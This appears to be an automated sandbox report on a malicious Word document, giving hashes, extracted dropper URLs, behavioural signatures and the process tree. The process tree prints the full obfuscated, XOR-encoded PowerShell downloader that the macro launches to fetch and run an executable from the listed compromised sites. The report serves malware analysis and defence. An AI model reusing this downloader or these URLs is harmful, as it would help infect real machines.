Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-05-2024 21:31

General

  • Target

    7351205f71125258a6471472f1245705_JaffaCakes118.doc

  • Size

    220KB

  • MD5

    7351205f71125258a6471472f1245705

  • SHA1

    7daec149ada7a834bb5f2a6fa32ee83220d604d9

  • SHA256

    b9329e47e32e0ba208f78b2b9d4909cc0203c119e08866274af455abe7d8cb42

  • SHA512

    af24b2c193173cf2893a63b8b531f514def38891367d8d1b588b02dc780ab42ea5f57beebb52019155daa2aaa0eb4264acea313451424874429046b278f3faa9

  • SSDEEP

    3072:3H9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5LyXJm9YBmjDFhNw9l5wA:3FVeEsjdXRC3jexGG6YYWofFh29l5wA

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.advokat-sng.com/blog/XjdeGu/

exe.dropper

http://www.dokassessoria.com.br/cCeI3/

exe.dropper

http://www.interfrazao.com.br/Zgv18b/

exe.dropper

http://www.pdt-pinsk.by/TnbKOKYF/

exe.dropper

http://www.audity.mx/Q/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7351205f71125258a6471472f1245705_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2664
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [STRING]::jOIn( '' ,( '8>79z65{69}17!66>73z91}1!67{78&70o73&79z88f12!98!73{88v2o123&73}78t111>64f69v73>66}88t23!8}86&111t127v17&11z68z88}88}92&22f3f3v91v91f91v2!77{72{90f67!71f77{88&1!95v66f75&2t79!67z65{3o78>64f67t75&3f116t70!72v73!107>89!3f108t68v88o88&92}22f3o3v91>91!91{2o72}67{71o77o95t95{73}95&95f67{94v69o77}2{79v67z65t2}78>94{3v79z111f73>101t31{3f108t68{88o88{92t22o3z3&91!91t91}2{69z66&88f73z94z74>94o77z86}77>67}2!79z67v65&2t78>94z3v118o75{90z29&20&78f3f108f68&88{88v92o22t3f3&91}91>91o2o92}72}88!1>92&69f66>95{71}2!78o85f3v120{66&78{103{99{103f117!106v3z108!68t88&88&92>22}3}3v91}91t91}2f77v89z72&69{88v85>2v65!84o3o125v3&11v2!127t92o64t69v88>4&11{108{11o5&23v8t120{91!121{12}17z12{11&21>20o30}11}23}8{72v109!104&17>8v73o66v90>22}88!73!65z92{7}11}112v11}7z8&120&91t121}7{11&2v73t84o73{11!23t74f67v94t73}77t79}68>4{8t94}64f110!12}69&66{12&8z86t111o127!5!87f88>94f85>87o8{79>65{69o2{104t67t91v66{64{67f77&72f106v69!64{73z4z8o94}64f110&0>12t8v72{109&104t5!23}127}88f77v94v88>1t124v94o67t79z73v95{95&12f8v72>109f104f23v78>94z73!77o71f23f81t79t77}88&79f68>87z81z81'.SpLit('t{v}&z>!fo' ) | foreaCh {[CHaR] ($_ -bXOr '0x2C' )} )) | &( $VerboSEprEFeReNcE.tOstRIng()[1,3]+'X'-JoiN'')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2592
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2136

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      de25204022995a60a9f140ba22a1a5df

      SHA1

      b75895697ab940f6ee8360caca8b38b937fde3e3

      SHA256

      09cc5f9a098ca11c8c7bf68a2b8070173f3af731cd9a311be34d3f394bf4ac98

      SHA512

      e9f76f1647e95b93421185b92edd4a27f2550c391064a40f32fb75c99d2134d7440aacd9678a2bb910b0ced34121132da145f7ca9cdc62d1d71081ca03b3bd97

    • memory/2664-17-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-5-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-11-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-6-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-7-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-23-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-24-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-22-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-10-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-0-0x000000002F0D1000-0x000000002F0D2000-memory.dmp

      Filesize

      4KB

    • memory/2664-53-0x00000000719CD000-0x00000000719D8000-memory.dmp

      Filesize

      44KB

    • memory/2664-2-0x00000000719CD000-0x00000000719D8000-memory.dmp

      Filesize

      44KB

    • memory/2664-18-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-9-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-8-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-21-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-33-0x00000000719CD000-0x00000000719D8000-memory.dmp

      Filesize

      44KB

    • memory/2664-34-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2664-52-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2664-54-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB

    • memory/2664-14-0x0000000000680000-0x0000000000780000-memory.dmp

      Filesize

      1024KB